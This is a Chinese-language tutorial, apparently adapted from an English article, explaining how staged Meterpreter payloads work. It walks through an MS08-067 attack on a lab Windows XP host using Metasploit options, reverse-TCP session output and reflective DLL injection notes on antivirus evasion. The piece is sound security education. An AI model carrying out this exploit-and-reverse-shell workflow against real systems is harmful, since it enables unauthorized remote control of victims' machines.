原文地址《Deep Dive Into Stageless Meterpreter Payloads
》
一、什麼是stage payload
stage payload是一種分段式的載荷運行方式,它的設計理念是爲了滿足二進制溢出漏洞利用過程中,由於內存地址中留給攻擊者的佈局shellcode空間很小的情景。這種情況下,攻擊者可以先利用漏洞向靶機發送一個很小的payload,這裏命名爲stage0,達到建立目標機器與攻擊機器建立一個shell通信的目的,然後再通過stage0上傳stage1,stage2……等方式將,逐步將shell的控制權進行移交,最終得到一個功能強大的shell,這個過程其實和web滲透中的小馬拉大馬的原理很相似。
二、meterpreter的分段載荷運行過程(ms08-067爲例)
實驗環境:
攻擊機:kali 2020 192.168.253.168
靶機:winxp sp3 192.168.253.141
我們在攻擊機啓動msf,選中windows/smb/ms08_067_netapi攻擊模塊,並設置相應的選項如下。
msf5 exploit(windows/smb/ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.253.141 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The SMB service port (TCP)
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.253.168 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
34 Windows XP SP3 Chinese - Simplified (NX)
當我們運行run命令,發送payload時,攻擊機器首先會啓動一個反彈shell的監聽,如下圖,默認啓動端口爲4444端口。
隨後,攻擊機將一段精心設計好的shellcode發送給靶機,這段shellcode一般爲兩部分組成:一部分是由一段指令組成,當EIP指向它時,它能夠反彈給攻擊機一個shell即stage0,這個stage0使攻擊機和靶機建立第一個通信,類似於web滲透的小馬。另一部分是觸發漏洞的特定exploit,它一般是超過正常程序運行通信字節,進而達到覆蓋緩衝區EIP指針的目的,使EIP指針指向之前佈局好的stage0的起始地址,過程如下圖。
當漏洞觸發,靶機執行了stage0,攻擊機和靶機建立了一個通信shell,但這個shell並不能完全控制靶機,於是meterpreter會將stage1上傳到靶機,這是一個編譯好的動態鏈接庫dll文件文件一般以metsrv命名,本例中我們可以在kali2020的中找到該文件,其絕對路徑爲
/usr/share/metasploit-framework/vendor/bundle/ruby/2.7.0/gems/metasploit-payloads-1.4.1/data/meterpreter/metsrv.x86.dll
靶機發送stage1(即metsrv)的過程如下圖
我們在msf中的執行過程也可以證實上述情況,在第三個[*]中可以看到提示Sending stage (176195 bytes) to 192.168.253.141,這正是stage1。
msf5 exploit(windows/smb/ms08_067_netapi) > run
[*] Started reverse TCP handler on 192.168.253.168:4444
[*] 192.168.253.141:445 - Attempting to trigger the vulnerability...
[*] Sending stage (176195 bytes) to 192.168.253.141
[*] Meterpreter session 2 opened (192.168.253.168:4444 -> 192.168.253.141:1047) at 2020-05-28 04:12:14 -0400
meterpreter >
我們可以查看metsrv.x86.dll文件大小,發現msf發送字節與該文件字節大小極其相近,由於筆者對此研究沒有達到代碼級別,因此多出那一段字節是什麼在此不做討論,此處我們只需清楚這個過程meterpreter發送了stage1是metsrv.x86.dll即可。
root@kali2020Local:~# ls -l /usr/share/metasploit-framework/vendor/bundle/ruby/2.7.0/gems/metasploit-payloads-1.4.1/data/meterpreter/metsrv.x86.dll
-rw-r--r-- 1 root root 175104 May 15 03:16 /usr/share/metasploit-framework/vendor/bundle/ruby/2.7.0/gems/metasploit-payloads-1.4.1/data/meterpreter/metsrv.x86.dll
一旦stage1(即metsrv.x86.dll)被加載進入內存,stage0通過簡單的EIP指針跳轉,將指令控制權轉交給stage1,stage1即metsrv的前60個字節是一段shellcode,其一旦執行,將利用反射式DLL注入技術重新映射metsrv並將其加載到內存中,使其達到無需將寫入磁盤或向主機進程註冊而能夠正常工作的目的,這也是meterpreter達到一定免殺效果的原理。然後,它調用DllMain()函數在這個已經加載的ddl文件上,接下來我們熟悉的Meterpreter便接管了控制權。
從這開始,MSF會向靶機推送兩個Meterpreter擴展DLL:stdapi和priv。這兩個DLL文件也都以與metsrv DLL相同的方式反射加載。此時,Meterpreter已經準備完成,並等待接收攻擊者的控制指令。
三、總結
綜上過程,我們在獲得一個meterpreter會話過程中,實際上有四個stage上傳,它們分別是
- stage0:smb漏洞利用載荷和體積小功能簡單的反彈shell小馬
- stage1:metsrv.x86.dll
- stage2:stdapi.dll
- stage3:priv.dll
我們可以用以下一張圖來描繪其大致流程